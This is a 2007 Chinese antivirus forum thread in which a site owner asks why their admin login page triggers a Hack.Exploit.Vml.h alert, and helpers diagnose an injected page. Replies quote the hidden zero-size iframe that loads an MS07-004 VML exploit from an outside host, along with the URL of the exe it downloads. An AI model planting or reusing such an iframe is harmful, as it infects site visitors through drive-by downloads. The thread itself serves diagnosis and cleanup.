瑞星卡卡安全论坛技术交流区反病毒/反流氓软件论坛 [font_color=#008080]管理页面发现Hack.Exploit.Vml.h病毒【求助】[/font]

1   1  /  1  页   跳转页

[font_color=#008080]管理页面发现Hack.Exploit.Vml.h病毒【求助】[/font]

收藏
5218898
头像
初生襁褓狮
  • 帖子:6
  • 注册: 2007-02-12
  • 来自:
发表于： 2007-02-12 23:29 | 只看楼主 短消息 资料
字号： 小 中 大 1楼

[font_color=#008080]管理页面发现Hack.Exploit.Vml.h病毒【求助】[/font]

求大虾帮忙
我在打开我的网站后台管理页面 瑞星网页检控就会警告发现Hack.Exploit.Vml.h病毒，而且输入后台户名 登陆密码 验证码等 打开管理页面是空白的  在打开其他网站任何网页都没事 是不是我的网站空间后台病毒入侵了 请求帮忙 怎么解决 呀
谢谢了 后台管理地址http://www.36518.net.cn/2006/Admin_login.asp 您费心了
最后编辑2007-02-13 18:05:50
分享到：
gototop
 
laopang
头像
社区嘉宾
  • 帖子:843
  • 注册: 2002-07-11
  • 来自:
发表于： 2007-02-13 00:17 | 短消息 资料
字号： 小 中 大 2楼

很遗憾的告诉你，你的登陆界面被人植入了一个恶意网址，你可以看一下代码的头部，有一段：
<Iframe src=http://szfile.focus.cn/file/578/xiao.htm width=0 height=0></iframe>

这段代码是利用了MS07-004的vml漏洞的代码，会下载exe的
你赶快检查你的网站或者主机是否存在漏洞
gototop
 
mopery
头像
卡卡技术团队
  • 帖子:17737
  • 注册: 2005-12-06
  • 来自:New York
卡卡名人堂论坛9周年纪念
发表于： 2007-02-13 00:38 | 短消息 资料
字号： 小 中 大 3楼

<Iframe src=http://szfile.focus.cn/file/578/xiao.htm width=0 height=0></iframe>

下载的.exe
URLMONttp://szfile.focus.cn/file/575/Install.exe
gototop
 
5218898
头像
初生襁褓狮
  • 帖子:6
  • 注册: 2007-02-12
  • 来自:
发表于： 2007-02-13 18:03 | 只看楼主 短消息 资料
字号： 小 中 大 4楼

怎么解决呀 我对这方面一点不懂 求支援
gototop
 
新版小欧
头像
自信弱冠狮
  • 帖子:384
  • 注册: 2007-01-31
  • 来自:
发表于： 2007-02-13 18:15 | 短消息 资料
字号： 小 中 大 5楼

问题大得很,你那网页的代码被别人修改过了

叫管理员修改就OK了

开了你的网页瑞星就报了,IE占内存直线上升.....
gototop
 
<<上一主题|下一主题>>
1   1  /  1  页   跳转页
页面顶部
Powered by Discuz!NT